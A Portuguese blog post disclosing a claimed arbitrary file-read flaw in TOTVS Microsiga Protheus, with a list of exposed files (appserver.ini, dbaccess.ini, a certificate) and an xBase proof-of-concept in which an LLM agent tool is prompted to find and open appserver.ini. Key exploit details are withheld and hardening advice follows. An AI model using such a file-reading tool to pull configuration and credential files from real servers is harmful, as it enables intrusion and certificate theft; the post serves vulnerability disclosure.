DNATech :: 🚨 Falha de Segurança Crítica no TOTVS Microsiga Protheus

_Créditos das imagens: ChatGPT

# 🚨 Falha de Segurança Crítica no TOTVS Microsiga Protheus

Recentemente, durante um teste em ambiente controlado, identifiquei uma vulnerabilidade grave no **TOTVS Microsiga Protheus**: é possível obter **qualquer arquivo armazenado no servidor** diretamente a partir do cliente.

Essa falha expõe informações sensíveis, como configurações, certificados e até logs internos do sistema — um prato cheio para invasores 👾.

---

## 🔬 A Demonstração

Para deixar tudo claro e seguro, executei os testes dentro do **Windows Sandbox** 🛡️, garantindo isolamento total do ambiente.

Além disso, utilizei uma camada extra com **integração em IA** 🤖.
Ela não é necessária para explorar a falha, mas ajuda a tornar a apresentação mais interessante e a proteger os processos vulneráveis de exposição direta 🔒.

Outro detalhe: como utilizo o **tema escuro no Protheus** 🌑, forcei o modo dark também no navegador Edge 🌐, via configuração:

```text
edge://flags/#enable-force-dark
```

---

## 📂 Arquivos Obtidos

Durante a exploração, foi possível acessar os seguintes arquivos:

* `totvs_microsiga_protheus.falha.de.seguranca.md`
* `error.log`
* `appserver.ini` → que, por sua vez, deu acesso a:
  * `totvs_certificate.crt`
* `dbaccess.ini`

Ou seja: arquivos críticos de configuração e até certificados de segurança ficaram expostos 😱.

---

## 🧩 O Código da POC

Um dos trechos usados para interagir com a IA e buscar arquivos foi este:

```xBase
#PRAGMA @__BEGINPROMPT@
Encontre e abra o arquivo appserver.ini
#PRAGMA @__ENDPROMPT@
cUserPrompt:=DNATechPlayTools():GetUserPrompt()
oTMCPAgent:=TMCPAgent():New(;
     "search_and_open_file";
    ,dna.tech.MCPFileFindAndOpen():GetPrompt();
    ,dna.tech.MCPFileFindAndOpen():GetPurpose();
)
cToolName:="search_and_open_file"
cToolDesc:="Tool for search and open files"
oFindFilesTool:=oTMCPAgent:AddTool(;
     cToolName;
    ,cToolDesc;
    ,{;
        |jParam|;
        oTMCPAgent:CallBackTool(;
            jParam;
            ,{;
                |oTMCPAgent,jParam|;
                dna.tech.MCPFileFindAndOpen():OpenFile(;
                     oTMCPAgent;
                    ,jParam;
                );
            };
        );
    };
)
jSchema:=JSONObject():New()
jSchema["filePath"]:="File Name"
oFindFilesTool:SetMemberData("jInputSchema",jSchema)
cLLMURL:="http://192.168.1.141:11435/v1/chat/completions/"
oHTTPConnector:=TFWRestHTTPConnector():New(cLLMURL)
cLLMModel:=if(;
    .T.;
    ,"mungert/qwen2.5-7b-instruct-1m";
    ,"gemma-3-4b-it";
)
oTLMStudio:=TLMStudio():New(;
     cLLMModel;
    ,cLLMURL;
    ,oHTTPConnector;
)
oTLMStudio:AddAgent(oTMCPAgent)
oTLMStudio:Send(cUserPrompt)
```

Esse fluxo simples demonstra como é possível **navegar e abrir arquivos sensíveis no servidor**.

---

## ⚠️ Conclusão

A vulnerabilidade mostra que **qualquer cliente conectado ao Protheus pode acessar arquivos internos do servidor**, o que representa um risco gigantesco de:

* **Exposição de credenciais**
* **Roubo de certificados**
* **Manipulação de logs e configurações**

---

## 🛡️ Recomendações

* Revisar permissões de acesso no servidor Protheus.
* Isolar os diretórios de configuração e certificados.
* Aplicar hardening imediato nos ambientes de produção.
* Pressionar a TOTVS por uma correção oficial.

---

🔒 **Segurança não é opcional.** Uma brecha como essa pode comprometer toda a operação de uma empresa.

---

🔒 **Nota de Segurança**

Por motivos óbvios, não é possível compartilhar de forma pública ou individual os detalhes técnicos utilizados na exploração demonstrada. O importante é destacar que **não houve uso de acessos externos, scripts ou ferramentas especiais**. Toda a prova de conceito foi realizada apenas com **funções padrão do próprio sistema**.

--

#SegurancaDaInformacao #CyberSecurity #ERP #Protheus #TOTVS #Vulnerabilidade #DataProtection #LGPD #InfoSec #Governanca

Torne-se um Sponsor: 🥊(дави)={0.5x[(Налдо)+(Алине)]}🥊

Comentários

Postagens mais visitadas